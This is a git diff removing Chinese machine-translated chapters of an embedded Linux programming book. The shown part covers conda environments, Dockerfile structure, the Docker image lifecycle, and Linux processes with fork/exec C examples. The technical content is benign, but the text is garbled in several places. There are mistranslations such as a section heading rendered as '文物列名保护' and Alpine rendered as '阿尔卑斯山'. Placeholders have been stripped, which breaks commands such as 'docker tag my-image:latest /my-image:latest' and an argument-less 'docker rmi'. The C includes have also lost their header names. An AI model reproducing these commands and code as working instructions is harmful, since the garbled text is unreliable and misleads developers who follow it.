这就是如何将`opencv`升级到蟒蛇发行版提供的最新版本: - - ```sh - (py377) $ conda update opencv - ``` - -8. 这一次,`conda`将提示您是否要为最新版本更新`opencv`及其从属关系。 这次,输入`n`取消包更新。 与单独更新软件包相比,一次更新活动虚拟环境中安装的所有软件包通常更容易: - - ```sh - (py377) $ conda update --all - ``` - -9. 删除个安装的软件包也很简单: - - ```sh - (py377) $ conda remove jupyter notebook - ``` - -10. 当`conda`删除`jupyter`和`notebook`时,它也会删除它们的所有悬挂依赖项。 悬空依赖关系是指没有其他已安装软件包依赖的已安装软件包。 与大多数通用包管理器一样,`conda`不会删除其他已安装包 - 仍然依赖的任何依赖项。 -11. 有时,您可能不知道要安装的软件包的确切名称。 亚马逊提供了一个用于 Python 的 AWS SDK,名为 Boto。 与许多 Python 库一样,有适用于 Python 2 的 Boto 版本和适用于 Python 3 的较新版本(Boto3)。要在 Anaconda 中搜索名称中包含单词`boto`的包,请输入以下命令: - - ```sh - (py377) $ conda search '*boto*' - ``` - -12. 您应该在搜索结果中看到`boto3`和`botocore`。 在撰写本文时,蟒蛇上可用的最新版本`boto3`是 1.13.11。 要查看该特定版本`boto3`的详细信息,请输入以下命令: - - ```sh - (py377) $ conda info boto3=1.13.11 - ``` - -13. 软件包详细信息显示,`boto3`版本 1.13.11 依赖于`botocore`(`botocore >=1.16.11,<1.17.0`),因此安装`boto3`可以同时获得这两个版本。 - -现在,假设您已经在 Jupyter 笔记本中安装了开发 OpenCV 项目所需的所有软件包。 您如何与他人共享这些项目需求,以便他们可以重新创建您的工作环境? 答案可能会让你大吃一惊: - -1. 将活动虚拟环境导出为 YAML 文件: - - ```sh - (py377) $ conda env export > my-environment.yaml - ``` - -2. 与`pip freeze`生成的需求列表非常相似,`conda`导出的 YAML 是虚拟环境中安装的所有包及其固定版本的列表。 从环境文件创建`conda`虚拟环境需要`-f`选项和文件名: - - ```sh - $ conda env create -f my-environment.yaml - ``` - -3. 环境名称包含在导出的 YAML 中,因此创建环境不需要`--name`选项。 现在,无论谁从`my-environment.yaml`创建虚拟环境,当他们发出`conda env list`命令时,都会在他们的环境列表中看到`py377`。 - -`conda`是开发人员武器库中的一个非常强大的工具。 通过将通用软件包安装与虚拟环境相结合,它提供了一个引人入胜的部署案例。 `conda`实现了许多与 Docker(接下来)相同的目标,但没有使用容器。 就 Python 而言,它比 Docker 更有优势,因为它专注于数据科学社区。 由于领先的机器学习框架(如 PyTorch 和 TensorFlow)主要基于 CUDA,因此通常很难找到 GPU 加速的二进制代码。 `conda`通过提供包的多个预编译二进制版本 -来解决此问题。 - -将`conda`虚拟环境导出到 YAML 文件以安装在其他计算机上提供了另一种部署选项。 这个解决方案在数据科学界很受欢迎,但它在嵌入式 Linux 的生产中不起作用。 `conda`不是 Yocto 支持的三个包管理器之一。 即使可以选择`conda`,在 Linux 映像上容纳 Minconda 所需的存储空间也不太适合大多数资源受限的嵌入式系统。 - -如果您的开发板具有 NVIDIA GPU(如 NVIDIA Jetson 系列),那么您确实希望使用`conda`进行板载开发。 幸运的是,有一个名为**Miniforge**([https://github.com/conda-forge/miniforge](https://github.com/conda-forge/miniforge))的`conda`安装程序可以在像 Jetsons 这样的 64 位 ARM 机器上运行。 有了`conda`onboard,您就可以安装`jupyter`、`numpy`、`pandas`、`scikit-learn`以及大多数其他流行的 Python 数据科学库。 - -# 使用 Docker 部署 Python 应用 - -**Docker**提供了另一种将 Python 代码与用其他语言编写的软件捆绑在一起的方法。 Docker 背后的理念是,不是将应用打包并安装到预配置的服务器环境中,而是与应用及其所有运行时依赖项一起构建和发布容器映像。 **容器镜像**更像虚拟环境而不是虚拟机。 **虚拟机**是包括内核和操作系统的完整的系统映像。 容器映像是一个最小的用户空间环境,它只附带运行应用所需的二进制文件。 - -虚拟机在模拟硬件的**管理程序**上运行。 容器直接在主机操作系统之上运行。 与虚拟机不同,容器能够在不使用硬件仿真的情况下共享相同的操作系统和内核。 相反,它们依靠 Linux 内核的两个特殊特性进行隔离:**名称空间**和**cgroup**。 Docker 并没有发明容器技术,但他们是第一个制造出便于使用的工具的人。 既然 Docker 使构建和部署容器镜像变得如此简单,*的疲惫借口在我的机器上就不再有效了*。 - -## Dockerfile 的解剖 - -**Dockerfile**描述 Docker 镜像的内容。 每个 Dockerfile 都包含一组指定要使用的环境和要运行的命令的指令。 我们将使用现有的 Dockerfile 作为项目模板,而不是从头开始编写 Dockerfile。 此 Dockerfile 为一个非常简单的 Flask Web 应用生成一个 Docker 图像,您可以扩展该应用以满足您的需要。 Docker 镜像构建在 Alpine Linux 之上,这是一个非常纤细的 Linux 发行版,通常用于容器部署。 除了 Flask,Docker 镜像还包含 uWSGI 和 nginx,以获得更好的性能。 - -首先将 Web 浏览器指向 GitHub 上的`uwsgi-nginx-flask-docker`项目([https://github.com/tiangolo/uwsgi-nginx-flask-docker](https://github.com/tiangolo/uwsgi-nginx-flask-docker))。 然后,单击 -`README.md`文件中指向`python-3.8-alpine`Dockerfile 的链接。 - -现在看一下该 Dockerfile 中的第一行: - -```sh -FROM tiangolo/uwsgi-nginx:python3.8-alpine -``` - -这个`FROM`命令告诉 Docker 从 Docker Hub 的`tiangolo`命名空间中拉出一个带有`python3.8-alpine`标签的名为`uwsgi-nginx`的图像。 Docker Hub 是一个公共注册中心,人们在这里发布他们的 Docker 镜像,以供他人获取和部署。 如果愿意,您可以使用 AWS、ECR 或 Quay 等服务设置自己的图像注册表。 您需要在命名空间前面插入注册表服务的名称,如下所示: - -```sh -FROM quay.io/my-org/my-app:my-tag -``` - -否则,Docker 默认从 Docker Hub 拉取图片。 `FROM`类似于 Dockerfile 中的`include`语句。 它会将另一个 Dockerfile 的内容插入到您的 Dockerfile 中,这样您就可以在此基础上进行构建。 我喜欢把这种方式看作是层次分明的图像。 Alpine 是基础层,然后是 Python3.8,然后是 uWSGI 和 Nginx,最后是您的 Flask 应用。 您可以在[https://hub.docker.com/r/tiangolo/uwsgi-nginx](https://hub.docker.com/r/tiangolo/uwsgi-nginx)深入研究`python3.8-alpine`Docker 文件,了解有关图像分层工作原理的更多信息。 - -Dockerfile 中感兴趣的下一行内容如下: - -```sh -RUN pip install flask -``` - -`RUN`指令运行命令。 Docker 会按顺序执行 Dockerfile 中包含的`RUN`指令,以构建生成的 Docker 镜像。 此`RUN`指令将烧瓶安装到 SYSTEM`site-packages`目录中。 我们知道`pip`是可用的,因为阿尔卑斯山基础图像还包括 Python3.8。 - -让我们跳过 nginx 的环境变量,直接进行复制: - -```sh -COPY ./app /app -``` - -这个特定的 Dockerfile 与其他几个文件和子目录一起位于 Git repo 中。 `COPY`指令将目录从宿主 Docker 运行时环境(通常是 repo 的 Git 克隆)复制到正在构建的容器中。 - -您正在查看的`python3.8-alpine.dockerfile`文件驻留在`tiangolo/uwsgi-nginx-flask-docker`存储库的`docker-images`子目录中。 在`docker-images`目录内是一个`app`子目录,其中包含 Hello World Flask Web 应用。 此`COPY`指令将示例 repo 中的`app`目录复制到 Docker 镜像的根目录中: - -```sh -WORKDIR /app -``` - -`WORKDIR`指令告诉 Docker 从容器内部操作哪个目录。 在本例中,它刚刚复制的`/app`目录成为工作目录。 如果目标工作目录不存在,则`WORKDIR`会创建它。 因此,此 Dockerfile 中显示的任何后续非绝对路径都是相对于`/app`目录的。 - -现在让我们看看如何在容器内设置环境变量: - -```sh -ENV PYTHONPATH=/app -``` - -`ENV`告诉 Docker 下面是一个环境变量定义。 `PYTHONPATH`是一个环境变量,它扩展为冒号分隔的路径列表,Python 解释器在该列表中查找模块和包。 - -接下来,让我们向下跳到第二条`RUN`指令: - -```sh -RUN chmod +x /entrypoint.sh -``` - -`RUN`指令告诉 Docker 从 shell 运行命令。 在本例中,正在运行的命令是`chmod`,它更改文件权限。 在这里,它呈现 -`/entrypoint.sh`可执行文件。 - -此 Dockerfile 中的下一行是可选的: - -```sh -ENTRYPOINT ["/entrypoint.sh"] -``` - -`ENTRYPOINT`是此 Dockerfile 中最有趣的说明。 它在启动容器时将可执行文件暴露给 Docker 主机命令行。 这使您可以将参数从命令行向下传递到容器内的可执行文件。 您可以在命令行的`docker run `后面追加这些参数。 如果 Dockerfile 中有多条`ENTRYPOINT`指令,则只执行最后一条`ENTRYPOINT`。 - -Dockerfile 中的最后一行如下: - -```sh -CMD ["/start.sh"] -``` - -与`ENTRYPOINT`指令类似,`CMD`指令在容器开始时执行,而不是在构建时执行。 在 Dockerfile 中定义`ENTRYPOINT`指令时,`CMD`指令定义要传递给该`ENTRYPOINT`的默认参数。 在本例中,`/start.sh`路径是传递给`/entrypoint.sh`的参数。 -`/entrypoint.sh`中的最后一行执行`/start.sh`: - -```sh -exec "$@" -``` - -`/start.sh`脚本来自`uwsgi-nginx`基本映像。 `/start.sh`在`/entrypoint.sh`为 nginx 和 uWSGI 配置了容器运行时环境之后,启动 nginx 和 uWSGI。 当`CMD`与`ENTRYPOINT`结合使用时,可以从 Docker 主机命令行覆盖`CMD`设置的默认参数。 - -大多数 Dockerfile 没有`ENTRYPOINT`指令,因此 -Dockerfile 的最后一行通常是在前台运行的`CMD`指令,而不是默认参数。 我使用这个 Dockerfile 技巧来保持一个用于开发的通用 Docker 容器运行: - -```sh -CMD tail -f /dev/null -``` - -除了`ENTRYPOINT`和`CMD`之外,本例中的所有指令`python-3.8-alpine`Dockerfile 仅在构建容器时执行。 - -## 打造码头工人形象 - -在构建 Docker 镜像之前,我们需要一个 Dockerfile。 您的系统中可能已经有一些 Docker 映像。 要查看 Docker 镜像列表,请使用以下命令: - -```sh -$ docker images -``` - -现在,让我们获取并构建我们刚刚解析的 Dockerfile: - -1. 克隆包含 Dockerfile 的 Repo: - - ```sh - $ git clone https://github.com/tiangolo/uwsgi-nginx-flask-docker.git - ``` - -2. 切换到 repo: - - ```sh - $ cd uwsgi-nginx-flask-docker/docker-images - ``` - - 内的`docker-images`子目录 -3. 将`python3.8-alpine.dockerfile`复制到名为`Dockerfile`: - - ```sh - $ cp python3.8-alpine.dockerfile Dockerfile - ``` - - 的文件 -4. 从 Dockerfile 构建映像: - - ```sh - $ docker build -t my-image . - ``` - -镜像构建完成后,它将出现在您的本地 Docker 镜像列表中: - -```sh -$ docker images -``` - -列表中还应显示`uwsgi-nginx`基础映像以及新建的`my-image`。 请注意,自创建`uwsgi-nginx`基本映像以来经过的时间比创建`my-image`以来的时间要长得多。 - -## 运行 Docker 映像 - -我们现在已经构建了一个 Docker 映像,我们可以将其作为容器运行。 要获取系统上正在运行的容器的列表,请使用以下命令: - -```sh -$ docker ps -``` - -要运行基于`my-image`的容器,请发出以下`docker run`命令: - -```sh -$ docker run -d --name my-container -p 80:80 my-image -``` - -现在观察正在运行的容器的状态: - -```sh -$ docker ps -``` - -您应该看到一个基于列表中名为`my-image`的图像的名为`my-container`的容器。 `docker run`命令中的`-p`选项将容器端口映射到主机端口。 因此,在本例中,容器端口`80`映射到主机端口`80`。 此 -端口映射允许在容器内运行的 Flask Web 服务器为 -HTTP 请求提供服务。 - -要停止`my-container`,请运行以下命令: - -```sh -$ docker stop my-container -``` - -现在再次检查正在运行的容器的状态: - -```sh -$ docker ps -``` - -`my-container`不应再出现在正在运行的容器列表中。 集装箱走了吗? 不,只是停了。 您仍然可以通过将`-a`选项添加到`docker ps`命令来查看`my-container`及其状态: - -```sh -$ docker ps -a -``` - -稍后我们将介绍如何删除不再需要的容器。 - -## 获取 Docker 镜像 - -在本部分的前面部分,我介绍了 Docker Hub、AWS ECR 和 Quay 等映像注册中心。 事实证明,我们从克隆的 GitHub repo 本地构建的 Docker 映像已经发布在 Docker Hub 上。 从 Docker Hub 获取预置映像比自己在系统上构建要快得多。 该项目的 Docker 图像可以在[https://hub.docker.com/r/tiangolo/uwsgi-nginx-flask](https://hub.docker.com/r/tiangolo/uwsgi-nginx-flask)找到。 要从 Docker Hub 拉取我们以`my-image`身份构建的同一个 Docker 镜像,请输入以下命令: - -```sh -$ docker pull tiangolo/uwsgi-nginx-flask:python3.8-alpine -``` - -现在再次查看您的 Docker 图像列表: - -```sh -$ docker images -``` - -您应该在列表中看到一个新的`uwsgi-nginx-flask`图像。 - -要运行这个新获取的映像,请发出以下`docker run`命令: - -```sh -$ docker run -d --name flask-container -p 80:80 tiangolo/uwsgi-nginx-flask:python3.8-alpine -``` - -如果您不想键入完整的镜像名称,可以用`docker images`中的对应的镜像 ID(散列)替换前面`docker run`命令中的完整镜像名称(`repo:tag`)。 - -## 发布 Docker 镜像 - -要将 Docker 镜像发布到 Docker Hub,您必须先拥有帐号并登录。 您可以通过转到网站[https://hub.docker.com](https://hub.docker.com)并注册来在 Docker Hub 上创建帐户。 拥有帐户后,您可以将现有映像推送到 Docker Hub 存储库: - -1. 从命令行登录到 Docker Hub 映像注册表: - - ```sh - $ docker login - ``` - -2. 出现提示时,输入您的 Docker Hub 用户名和密码。 -3. Tag an existing image with a new name that starts with the name of your repository: - - ```sh - $ docker tag my-image:latest /my-image:latest - ``` - - 将前面命令中的``替换为您在 Docker Hub 上的存储库名称(与您的用户名相同)。 您还可以用您希望推送的另一个现有映像的名称替换`my-image:latest`。 - -4. Push the image to the Docker Hub image registry: - - ```sh - $ docker push /my-image:latest - ``` - - 同样,进行与*步骤 3*相同的替换。 - -默认情况下,推送到 Docker Hub 的镜像是公开的。 要访问新发布的图像的网页,请转到 https://hub.docker.com/repository/docker//my-IMAGE。 将前面 URL 中的``替换为您在 Docker Hub 上的存储库名称(与您的用户名相同)。 如果不同,您还可以用您推送的实际镜像的名称替换`my-image:latest`。 如果您点击该网页上的**标签**选项卡,您应该看到用于获取该图像的`docker pull`命令。 - -## 清理 - -我们知道`docker images`列出图像,`docker ps`列出容器。 在删除 Docker 图像之前,我们必须先删除引用它的所有容器。 要删除 -Docker 容器,首先需要知道容器的名称或 ID: - -1. 查找目标 Docker 容器的名称: - - ```sh - $ docker ps -a - ``` - -2. 如果容器正在运行,则停止该容器: - - ```sh - $ docker stop flask-container - ``` - -3. 删除 Docker 容器: - - ```sh - $ docker rm flask-container - ``` - -将前面两个命令中的`flask-container`替换为*步骤 1*中的容器名称或 ID。 出现在`docker ps`下的每个容器也有一个与其关联的图像名称或 ID。 删除引用图像的所有容器后,即可删除该图像。 - -Docker 映像名称(`repo:tag`)可能会很长(例如,`tiangolo/uwsgi-nginx-flask:python3.8-alpine`)。 因此,我发现在删除时只复制和粘贴镜像的 ID(散列)会更容易: - -1. 找到 Docker 镜像的 ID: - - ```sh - $ docker images - ``` - -2. 删除 Docker 镜像: - - ```sh - $ docker rmi - ``` - -将前面命令中的``替换为*步骤 1*中的图像 ID。 - -如果您只是想清除系统上不再使用的所有容器和映像,则可以使用以下命令: - -```sh -$ docker system prune -a -``` - -`docker system prune`删除所有停止的容器和悬挂图像。 - -我们已经了解了如何使用`pip`来安装 Python 应用的依赖项。 您只需将调用`pip install`的`RUN`指令添加到 Dockerfile。 因为容器是沙箱环境,所以它们提供了许多与虚拟环境相同的好处。 但与`conda`和`venv`虚拟环境不同,Buildroot 和 Yocto 都支持 Docker 容器。 Buildroot 有`docker-engine`和`docker-cli`包。 Yocto 有`meta-virtualization`层。 如果您的设备因为 Python 包冲突而需要隔离,那么您可以使用 Docker 来实现。 - -`docker run`命令提供选项 f 或向容器公开操作系统资源。 指定绑定挂载允许将主机上的文件或目录挂载到容器中以进行读写。 默认情况下,容器不向外部世界发布端口。 在运行`my-container`映像时,您使用了`-p`选项将端口`80`从容器发布到主机上的端口`80`。 `--device`选项将`/dev`下的主机设备文件添加到非特权容器。 如果您希望授予对主机上所有设备的访问权限,请使用`--privileged`选项。 - -Containers 擅长的是部署。 能够推送 Docker 镜像,然后可以轻松地拉入并在任何主要云平台上运行,这使**DevOps**运动发生了革命性的变化。 多亏了 Balena 等 OTA 更新解决方案,Docker 也在嵌入式 Linux 领域取得了进展。 Docker 的缺点之一是运行时的存储空间和内存开销。 Go 二进制程序有点臃肿,但 Docker 在四核 64 位 ARM SoC 上运行得很好,比如 Raspberry Pi 4。 如果您的目标设备有足够的电量,则在其上运行 Docker。 您的软件开发团队会感谢您的。 - -# 摘要 - -到目前为止,您可能会问自己,这些 Python 打包内容与嵌入式 Linux 有什么关系? 答案是*不是很多*,但请记住,*编程*这个词也恰好出现在本书的标题中。 这一章与现代编程有着千丝万缕的联系。 要在当今时代成为一名成功的开发人员,您需要能够快速、频繁地以可重复的方式将代码部署到生产环境中。 这意味着要小心地管理您的依赖项,并尽可能多地将流程自动化。 现在您已经了解了使用 Python 可以使用哪些工具来实现这一点。 - -在下一章中,我们将详细介绍 Linux 进程模型,并描述什么是进程,它如何与线程相关,它们如何协作,以及它们是如何调度的。 如果您想要创建一个健壮且可维护的嵌入式系统,了解这些事情是很重要的。 - -# 进一步阅读 - -以下资源提供了有关本章中介绍的主题的详细信息: - -* *Python 打包用户指南*,Pypa:[https://packaging.python.org](https://packaging.python.org) -* *setup.py vs Requirements.txt*,Donald Stufft:[https://caremad.io/posts/2013/07/setup-vs-requirement](https://caremad.io/posts/2013/07/setup-vs-requirement) -* *PIP 用户指南*,PIPA:[https://pip.pypa.io/en/latest/user_guide/](https://pip.pypa.io/en/latest/user_guide/) -* *诗歌文档*,诗歌:[https://python-poetry.org/docs](https://python-poetry.org/docs) -* *CONDA 用户指南*,连续分析:[https://docs.conda.io/projects/conda/en/latest/user-guide](https://docs.conda.io/projects/conda/en/latest/user-guide) -* *docker Docs*,docker Inc.:[HTTPS://docs.docker.com/engine/reference/命令行/docker](https://docs.docker.com/engine/reference/commandline/docker) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/17.md b/docs/master-emb-linux-prog/17.md deleted file mode 100644 index 703a37fa..00000000 --- a/docs/master-emb-linux-prog/17.md +++ /dev/null @@ -1,843 +0,0 @@ -# 十七、了解进程和线程 - -在前面的章节中,我们考虑了创建嵌入式 Linux 平台的各个方面。 现在,是时候开始研究如何使用该平台来创建工作设备了。 在本章中,我将讨论 Linux 进程模型的含义,以及它是如何包含多线程程序的。 我将研究使用单线程和多线程进程的优缺点,以及进程和协程之间的异步消息传递。 最后,我将讨论调度,并区分分时和实时调度策略。 - -虽然这些主题不是特定于嵌入式计算的,但对于任何嵌入式设备的设计人员来说,了解这些主题是很重要的。 关于这个主题有很多很好的参考资料,我将在本章的末尾列出其中一些,但总的来说,它们没有考虑嵌入式用例。 因此,我将把重点放在概念和设计决策上,而不是函数调用和代码上。 - -在本章中,我们将介绍以下主题: - -* 进程还是线程? -* 流程 -* 丝线 -* ZeroMQ -* 时间安排 / 节目安排 / 文物列名保护 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您的基于 Linux 的主机系统上安装了以下软件: - -* Python:Python3 解释器和标准库 -* Miniconda:`conda`包和虚拟 - 环境管理器的最小安装程序 - -有关如何安装 Miniconda 的说明,请参阅[*第 16 章*](16.html#_idTextAnchor449),*Packaging Python*中关于`conda`的部分(如果您尚未安装 Miniconda)。 本章的练习还需要 GCC C 编译器和 GNU`make`,但这些工具已经随大多数 Linux 发行版一起提供了。 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter17`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 进程还是线程? - -许多熟悉**实时操作系统**(**RTOS**)的嵌入式开发人员认为 Unix 进程模型很麻烦。 另一方面,他们看到了 RTOS 任务和 Linux 线程之间的相似之处,而且他们倾向于使用 RTOS 任务到线程的一对一映射来转移现有的设计。 我曾多次看到这样的设计,在这些设计中,整个应用由一个包含 40 个或更多线程的进程实现。 我想花点时间考虑一下这是不是一个好主意。 让我们从一些定义开始。 - -**进程**是内存地址空间和执行线程,如下图所示。 地址空间是该进程的私有地址空间,因此运行在不同进程中的线程不能访问它。 这种**内存分离**是由内核中的内存管理子系统创建的,它为每个进程保存一个内存页面映射,并在每个上下文切换上对内存管理单元进行重新编程。 我将在[*第 18 章*](18.html#_idTextAnchor502),*管理内存*中详细描述这是如何工作的。 地址空间的一部分被映射到一个文件,该文件包含程序正在运行的代码和静态数据,如下所示: - -![Figure 17.1 – Process\](img/B11566_17_01.jpg) - -图 17.1-流程 - -当程序运行时,它将分配堆栈空间、堆内存、文件引用等资源。 当进程终止时,系统将回收这些资源:释放所有内存并关闭所有文件描述符。 - -进程可以使用**进程间通信**(**IPC**)相互通信,例如本地套接字。 稍后我将讨论 IPC。 - -**线程**是进程内执行的线程。 所有进程都从一个运行`main()`函数的线程开始,称为主线程。 例如,您可以使用`pthread_create(3)`POSIX 函数创建其他线程,这会导致多个线程在同一地址空间中执行,如下图所示: - -![Figure 17.2 – Multiple threads](img/B11566_17_02.jpg) - -图 17.2-多线程 - -处于同一进程中的线程彼此共享资源。 它们可以读写相同的内存并使用相同的文件描述符。 只要处理好同步和锁定问题,线程之间的通信就很容易。 - -因此,根据这些简单的细节,您可以想象一个假想系统的两种极端设计,其中有 40 个 RTOS 任务被移植到 Linux 上。 - -您可以将任务映射到进程,并让 40 个单独的程序通过 IPC 进行通信,例如,消息通过套接字发送。 您将极大地减少内存损坏问题,因为每个进程中运行的主线程都受到保护,不受其他线程的影响,并且您将减少资源泄漏,因为每个进程在退出后都会被清理。 然而,进程之间的消息接口相当复杂,在一组进程之间存在紧密协作的情况下,消息的数量可能会很大,并成为系统性能的限制因素。 此外,这 40 个进程中的任何一个都可能终止,可能是因为错误导致它崩溃,而让其他 39 个进程继续运行。 每个进程都必须处理其邻居不再运行并正常恢复的事实。 - -在另一个极端,您可以将任务映射到线程,并将系统实现为包含 40 个线程的单个进程。 协作变得容易得多,因为它们共享相同的地址空间和文件描述符。 减少或消除了发送消息的开销,线程之间的上下文切换比进程之间的上下文切换更快。 缺点是您引入了一个任务损坏另一个任务堆或堆栈的可能性。 如果任何线程遇到致命错误,整个进程将终止,所有线程都将随之终止。 最后,调试复杂的多线程进程可能是一场噩梦。 - -你应该得出的结论是,这两种设计都不是理想的,而且还有更好的做事方式。 但在我们谈到这一点之前,我将更深入地研究 API 以及进程和线程的行为。 - -# 进程 - -进程保存线程可以在其中运行的环境:它保存内存映射、文件描述符、用户和组 ID 等。 第一个进程是`init`进程,它由内核在引导期间创建,其 PID 为 1。 此后,通过在称为**分叉**的操作中复制来创建进程。 - -## 创建新流程 - -创建进程的 POSIX 函数是`fork(2)`。 这是一个奇怪的函数,因为对于每个成功的调用,都有两个返回:一个在进行调用的进程中,称为**父**,另一个在新创建的进程中,称为**子**,如下图所示: - -![Figure 17.3 – Forking](img/B11566_17_03.jpg) - -图 17.3-分叉 - -在调用之后,子进程立即是父进程的完全副本:它具有相同的堆栈、相同的堆、相同的文件描述符,并且执行相同的代码行-`fork`后面的那行代码。 程序员区分它们的唯一方法是查看`fork`的返回值:子对象的返回值是*零*,父对象的返回值是*大于零*。 实际上,返回给父进程的值是新创建的子进程的 PID。 还有第三种可能性,即返回值为负,这意味着`fork`调用失败,仍然只有一个进程。 - -虽然这两个进程基本相同,但它们位于不同的地址空间中。 其中一方对变量所做的更改将不会被另一方看到。 在幕后,内核不会制作父内存的物理副本,这将是一个相当慢的操作,并且不必要地消耗内存。 相反,存储器是共享的,但用**写入时复制**(**COW**)标记为。 如果父进程或子进程修改了该内存,内核将创建一个副本,然后写入该副本。 这使得它成为一个高效的派生函数,还保留了进程地址空间的逻辑分隔。 我将在[*第 18 章*](18.html#_idTextAnchor502),*管理内存*中讨论 COW。 - -现在,让我们学习如何终止进程。 - -## 终止进程 - -可以通过调用`exit(3)`函数或非自愿地通过接收未处理的信号来自动停止进程。 有一个信号(特别是`SIGKILL`)无法处理,因此它总是会终止进程。 在所有情况下,终止进程都会停止所有线程,关闭所有文件描述符,并释放所有内存。 系统向父系统发送信号`SIGCHLD`,以便它知道这已经发生。 - -进程有一个返回值,如果它正常终止,则由`exit`的参数组成,如果它被终止,则由信号号组成。 它的主要用途是在 shell 脚本中:它允许您测试程序的返回值。 按照惯例,`0`表示成功,任何其他值表示某种类型的失败。 - -父级可以使用`wait(2)`或`waitpid(2)`函数收集返回值。 这就产生了一个问题:在子级终止和其父级收集返回值之间会有延迟。 在此期间,返回值必须存储在某个地方,并且现在已死的进程的 PID 号不能重用。 这种状态下的进程称为**僵尸**,在`ps`和`top`命令中,显示为`state Z`。 只要家长在接到孩子终止的通知时呼叫`wait`或`waitpid`(通过`SIGCHLD`信号;有关处理信号的详细信息,请参阅 Robert Love 和 O‘Reilly Media 的*Linux System Programming*或 Michael Kerrisk 的*The Linux Programming Interface*,No Stack Press)。 通常,僵尸存在的时间太短,无法出现在进程列表中。 如果父进程无法收集返回值,它们将成为问题,因为最终将没有足够的资源来创建更多进程。 - -`MELP/Chapter17/fork-demo`中的程序说明了进程创建 -和终止: - -```sh -#include -#include -#include -#include -#include -int main(void) -{ -      int pid; -      int status; -      pid = fork(); -      if (pid == 0) { -          printf("I am the child, PID %d\n", getpid()); -          sleep(10); -          exit(42); -      } else if (pid > 0) { -          printf("I am the parent, PID %d\n", getpid()); -          wait(&status); -          printf("Child terminated, status %d\n", WEXITSTATUS(status)); -      } else -          perror("fork:"); -      return 0; -} -``` - -`wait`函数会一直阻塞,直到子进程退出并存储退出状态。 当您运行它时,您将看到如下所示: - -```sh -I am the parent, PID 13851 -I am the child, PID 13852 -Child terminated with status 42 -``` - -子进程继承父进程的大部分属性,包括用户和组 ID、所有打开的文件描述符、信号处理和调度特征。 - -## 运行不同的程序 - -函数`fork`创建正在运行的程序的副本,但它不运行不同的程序。 为此,您需要`exec`函数之一: - -```sh -int execl(const char *path, const char *arg, ...); -int execlp(const char *file, const char *arg, ...); -int execle(const char *path, const char *arg, -      ..., char * const envp[]); -int execv(const char *path, char *const argv[]); -int execvp(const char *file, char *const argv[]); -int execvpe(const char *file, char *const argv[], -      ..., char *const envp[]); -``` - -每个文件都有一个指向要加载和运行的程序文件的路径。 如果函数成功,内核将丢弃当前进程的所有资源,包括内存和文件描述符,并将内存分配给正在加载的新程序。 当调用`exec*`的线程返回时,它不会返回到调用后的代码行,而是返回到新程序的`main()`函数。 在`MELP/Chapter17/exec-demo`中有一个命令启动器的例子:它会提示输入一个命令,比如`/bin/ls`,然后派生并执行您输入的字符串。 以下是代码: - -```sh -#include -#include -#include -#include -#include -#include -int main(int argc, char *argv[]) -{ -      char command_str[128]; -      int pid; -      int child_status; -      int wait_for = 1; -      while (1) { -          printf("sh> "); -          scanf("%s", command_str); -          pid = fork(); -          if (pid == 0) { -                /* child */ -                printf("cmd '%s'\n", command_str); -                execl(command_str, command_str, (char *)NULL); -                /* We should not return from execl, so only get -                  to this line if it failed */ -                perror("exec"); -                exit(1); -          } -          if (wait_for) { -                waitpid(pid, &child_status, 0); -                printf("Done, status %d\n", child_status); -          } -      } -      return 0; -} -``` - -以下是您在运行它时将看到的内容: - -```sh -# ./exec-demo -sh> /bin/ls -cmd '/bin/ls' -bin etc lost+found proc sys var -boot home media run tmp -dev lib mnt sbin usr -Done, status 0 -sh> -``` - -您可以通过键入*Ctrl+C*来终止程序。 - -一个函数复制现有进程,而另一个函数丢弃其资源并将不同的程序加载到内存中,这似乎很奇怪,特别是因为 fork 后面几乎紧跟着一个`exec`函数是很常见的。 大多数操作系统将这两个操作合并到单个调用中。 - -然而,这也有明显的优势。 例如,它使得在 shell 中实现重定向和管道非常容易。 假设您想要获得一个目录列表。 以下是事件的顺序: - -1. 您可以在 shell 提示符中键入`ls`。 -2. 贝壳会分叉出一份自身的副本。 -3. 这孩子执行`/bin/ls`。 -4. `ls`程序将目录列表打印到附加到终端的`stdout`(文件描述符`1`)。 您将看到目录列表。 -5. `ls`程序终止,外壳重新获得控制权。 - -现在,假设您希望通过使用*>*字符重定向输出来将目录清单写入文件。 现在,顺序如下: - -1. 您可以键入`ls > listing.txt`。 -2. 贝壳会分叉出一份自身的副本。 -3. 子级打开并截断`listing.txt`文件,并使用`dup2(2)`在文件描述符`1`上复制该文件的文件描述符(`stdout`)。 -4. 这孩子执行`/bin/ls`。 -5. 程序像以前一样打印列表,但这一次,它将写入`listing.txt`。 -6. The `ls` program terminates, and the shell regains control. - - 重要注 - - 在*步骤 3*中有机会在执行程序之前修改子进程的环境。 `ls`程序不需要知道它写入的是文件而不是终端。 可以将`stdout`连接到管道,而不是文件,以便仍未更改的`ls`程序可以将输出发送到另一个程序。 正如 Eric Steven Raymond 和 Addison Wesley 在*The Art of Unix Programming*中所描述的那样,这是将许多小组件组合在一起的 Unix 哲学的一部分,特别是在*管道、重定向和过滤器*部分。 - -到目前为止,我们在本节中看到的程序都在前台运行。 但是,如果程序在后台运行,等待事情发生,情况会怎样呢? 我们来看看。 - -## 守护进程 - -我们已经在几个地方遇到了个守护进程。 **守护进程**是在后台运行的进程,由`init`进程拥有,并且不连接到控制终端。 创建守护程序的步骤如下: - -1. 调用`fork`创建一个新进程,在此之后父进程应该退出,从而创建一个孤儿,该孤儿将重新成为`init`的父级。 -2. 子进程调用`setsid(2)`,创建一个它是其唯一成员的新会话和进程组。 确切的细节在这里无关紧要;您可以简单地认为这是将进程与任何控制终端隔离的一种方式。 -3. 将工作目录更改为`root`目录。 -4. 关闭所有文件描述符,并将`stdin`、`stdout`和`stderr`(描述符`0`、`1`和`2`)重定向到`/dev/null`,以便没有输入,并且隐藏所有输出。 - -值得庆幸的是,前面的所有步骤都可以通过一个函数调用来实现; -,即`daemon(3)`。 - -## 进程间通信 - -每个进程都是一个内存孤岛。 您可以通过两种方式将信息从一个传递到另一个。 首先,您可以将其从一个地址空间复制到另一个地址空间。 其次,您可以创建一个既可以访问又可以共享数据的内存区。 - -第一个通常与队列或缓冲区相结合,以便在进程之间传递一系列消息。 